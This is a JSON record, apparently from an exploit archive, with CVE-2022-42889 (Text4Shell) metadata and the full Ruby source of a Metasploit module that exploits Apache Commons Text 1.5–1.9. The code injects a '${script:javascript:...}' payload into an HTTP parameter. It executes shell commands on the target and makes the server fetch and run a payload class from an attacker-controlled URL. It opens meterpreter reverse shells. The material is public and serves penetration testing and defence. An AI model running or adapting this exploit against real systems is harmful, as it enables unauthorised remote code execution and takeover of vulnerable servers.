{"exploit":{"id":"MSF-multi--http--apache_commons_text4shell","name":"Apache Commons Text RCE","description":"This exploit takes advantage of the StringSubstitutor interpolator class, which is included in the Commons Text library. A default interpolator allows for string lookups that can lead to Remote Code Execution. This is due to a logic flaw that makes the \"script\", \"dns\" and \"url\" lookup keys interpolated by default, as opposed to what it should be, according to the documentation of the StringLookupFactory class. Those keys allow an attacker to execute arbitrary code via lookups primarily using the \"script\" key. In order to exploit the vulnerabilities, the following requirements must be met: Run a version of Apache Commons Text from version 1.5 to 1.9 Use the StringSubstitutor interpolator Target should run JDK < 15","cves":["CVE-2022-42889"],"author":"Alvaro Muñoz, Karthik UJ, Gaurav Jain","published":"2022-10-13","platform":"Java,Linux,Unix,Windows","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/ab00b9e7e08b1fdc68bdba12de6db2aa4436815e/modules/exploits/multi/http/apache_commons_text4shell.rb","path":"modules/exploits/multi/http/apache_commons_text4shell.rb","revision":"ab00b9e7e08b1fdc68bdba12de6db2aa4436815e","filename":"apache_commons_text4shell.rb","vulnerabilities":[{"id":"CVE-2022-42889","state":"PUBLISHED","title":"Apache Commons Text prior to 1.10.0 allows RCE when applied to untrusted input due to insecure interpolation defaults","titleSource":"CVE Program","description":"Apache Commons Text performs variable interpolation, allowing properties to be dynamically evaluated and expanded. The standard format for interpolation is \"${prefix:name}\", where \"prefix\" is used to locate an instance of org.apache.commons.text.lookup.StringLookup that performs the interpolation. Starting with version 1.5 and continuing through 1.9, the set of default Lookup instances included interpolators that could result in arbitrary code execution or contact with remote servers. These lookups are: - \"script\" - execute expressions using the JVM script execution engine (javax.script) - \"dns\" - resolve dns records - \"url\" - load values from urls, including from remote servers Applications using the interpolation defaults in the affected versions may be vulnerable to remote code execution or unintentional contact with remote servers if untrusted configuration values are used. Users are recommended to upgrade to Apache Commons Text 1.10.0, which disables the problematic interpolators by default.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2022-42889","cvss":{"version":"3.1","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2022-42889"},"updatedAt":"2024-11-20T16:19:41.416Z","retrievedAt":"2026-11-27T04:19:49.223Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-multi--http--apache_commons_text4shell.png?v=2","url":"https://exploitbin.com/exploits/MSF-multi--http--apache_commons_text4shell","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--http--apache_commons_text4shell/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--http--apache_commons_text4shell/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  include Msf::Exploit::Remote::HttpClient\n  include Msf::Exploit::CmdStager\n  include Msf::Exploit::Remote::Java::HTTP::ClassLoader\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Apache Commons Text RCE',\n        'Description' => %q{\n          This exploit takes advantage of the StringSubstitutor interpolator class,\n          which is included in the Commons Text library. A default interpolator\n          allows for string lookups that can lead to Remote Code Execution. This\n          is due to a logic flaw that makes the \"script\", \"dns\" and \"url\" lookup\n          keys interpolated by default, as opposed to what it should be, according\n          to the documentation of the StringLookupFactory class. Those keys allow\n          an attacker to execute arbitrary code via lookups primarily using the\n          \"script\" key.\n\n          In order to exploit the vulnerabilities, the following requirements must\n          be met:\n\n          Run a version of Apache Commons Text from version 1.5 to 1.9\n          Use the StringSubstitutor interpolator\n          Target should run JDK < 15\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Alvaro Muñoz', # Original research\n          'Karthik UJ', # PoC\n          'Gaurav Jain', # Metasploit module\n        ],\n        'References' => [\n          ['CVE', '2022-42889'],\n          ['URL', 'https://sysdig.com/blog/cve-2022-42889-text4shell/'],\n          ['URL', 'https://github.com/karthikuj/cve-2022-42889-text4shell-docker']\n        ],\n        'Targets' => [\n          [\n            'Java (in-memory)',\n            {\n              'Type' => :java,\n              'Platform' => 'java',\n              'Arch' => ARCH_JAVA,\n              'DefaultOptions' => { 'Payload' => 'java/meterpreter/reverse_tcp' }\n            },\n          ],\n          [\n            'Windows EXE Dropper',\n            {\n              'Platform' => 'win',\n              'Arch' => [ARCH_X86, ARCH_X64],\n              'Type' => :windows_dropper,\n              'DefaultOptions' => { 'Payload' => 'windows/x64/meterpreter/reverse_tcp' }\n            }\n          ],\n          [\n            'Windows Command',\n            {\n              'Platform' => 'win',\n              'Arch' => ARCH_CMD,\n              'Type' => :windows_cmd,\n              'DefaultOptions' => { 'Payload' => 'cmd/windows/powershell/meterpreter/reverse_tcp' }\n            }\n          ],\n          [\n            'Unix Command',\n            {\n              'Platform' => 'unix',\n              'Arch' => ARCH_CMD,\n              'Type' => :unix_cmd,\n              'DefaultOptions' => { 'Payload' => 'cmd/unix/reverse_jjs' }\n            }\n          ],\n          [\n            'Linux Dropper',\n            {\n              'Platform' => 'linux',\n              'Arch' => [ARCH_X86, ARCH_X64],\n              'Type' => :linux_dropper,\n              'DefaultOptions' => { 'Payload' => 'linux/x86/meterpreter/reverse_tcp' }\n            }\n          ]\n        ],\n        'Privileged' => false,\n        'DisclosureDate' => '2022-10-13',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'Reliability' => [REPEATABLE_SESSION],\n          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]\n        }\n      )\n    )\n    register_options([\n      OptString.new('TARGETURI', [ true, 'The target URI', '/']),\n      OptString.new('PARAM', [ true, 'The vulnerable parameter']),\n      OptEnum.new('METHOD', [ true, 'The HTTP method to use', 'GET', ['GET', 'POST']])\n    ])\n  end\n\n  def check\n    vprint_status(\"Checking if #{peer} can be exploited.\")\n    res = send_exp\n    return CheckCode::Unknown('No response received from target.') unless res\n\n    # blind command injection using sleep command\n    sleep_time = rand(4..8)\n    vprint_status(\"Performing command injection test issuing a sleep command of #{sleep_time} seconds.\")\n    _res, elapsed_time = Rex::Stopwatch.elapsed_time do\n      send_exp(\"java.lang.Thread.sleep(#{sleep_time * 1000})\")\n    end\n    vprint_status(\"Elapsed time: #{elapsed_time.round(2)} seconds.\")\n    return CheckCode::Safe('Command injection test failed.') unless elapsed_time >= sleep_time\n\n    CheckCode::Vulnerable('Successfully tested command injection.')\n  end\n\n  def exploit\n    case target['Type']\n    when :java\n      # Start the HTTP server to serve the payload\n      java_class_loader_start_service\n      # Trigger a loadClass request via java.net.URLClassLoader\n      trigger_urlclassloader\n      # Handle the payload\n      handler\n    when :windows_cmd, :unix_cmd\n      execute_command(payload.encoded)\n    when :windows_dropper, :linux_dropper\n      execute_cmdstager\n    end\n  end\n\n  def trigger_urlclassloader\n    url = get_uri\n\n    vars = Rex::RandomIdentifier::Generator.new\n\n    exp = \"var #{vars[:str_arr]} = Java.type('java.lang.String[]');\"\n    exp << \"var #{vars[:obj]} = new java.net.URLClassLoader([new java.net.URL(new java.lang.String(java.util.Base64.getDecoder().decode('#{Rex::Text.encode_base64(url)}')))]).loadClass('metasploit.Payload');\"\n    exp << \"#{vars[:obj]}.getMethod('main', java.lang.Class.forName('[Ljava.lang.String;')).invoke(null, [new #{vars[:str_arr]}(1)]);\"\n\n    res = send_exp(exp)\n\n    fail_with(Failure::Unreachable, 'No response received from the target') unless res\n    fail_with(Failure::Unknown, 'An unknown error occurred') unless res.code == 200\n  end\n\n  def execute_command(cmd, _opts = {})\n    vars = Rex::RandomIdentifier::Generator.new\n\n    exp = \"var #{vars[:arr]} = [#{win_target? ? '\"cmd.exe\", \"/c\"' : '\"/bin/sh\", \"-c\"'}, new java.lang.String(java.util.Base64.getDecoder().decode(\\\"#{Rex::Text.encode_base64(cmd)}\\\"))];\"\n    exp << \"java.lang.Runtime.getRuntime().exec(#{vars[:arr]});\"\n\n    res = send_exp(exp)\n\n    fail_with(Failure::Unreachable, 'No response received from the target') unless res\n    fail_with(Failure::Unknown, 'An unknown error occurred') unless res.code == 200\n  end\n\n  def send_exp(exp = '')\n    vars = datastore['METHOD'] == 'GET' ? 'vars_get' : 'vars_post'\n    send_request_cgi(\n      'method' => datastore['METHOD'],\n      'uri' => normalize_uri(target_uri.path),\n\n      vars => {\n        datastore['PARAM'] => \"${script:javascript:#{exp}}\"\n      }\n    )\n  end\n\n  def win_target?\n    target['Platform'] == 'win'\n  end\n\n  def on_request_uri(cli, request)\n    case target['Type']\n    when :java\n      # Call method to handle java payload staging\n      super(cli, request)\n    else\n      # Handle win/unix cmd staging\n      client = cli.peerhost\n      print_status(\"Client #{client} requested #{request.uri}\")\n      print_status(\"Sending payload to #{client}\")\n      send_response(cli, exe)\n    end\n  end\nend\n","sha256":"689775bf8bec2bd4da80e0e441ec093a92e246509edf384c89a2c40e25ed8416","bytes":6920,"fetchedAt":"2026-11-27T04:19:46.296Z","encoding":"utf-8 (display only; download retains original bytes)"}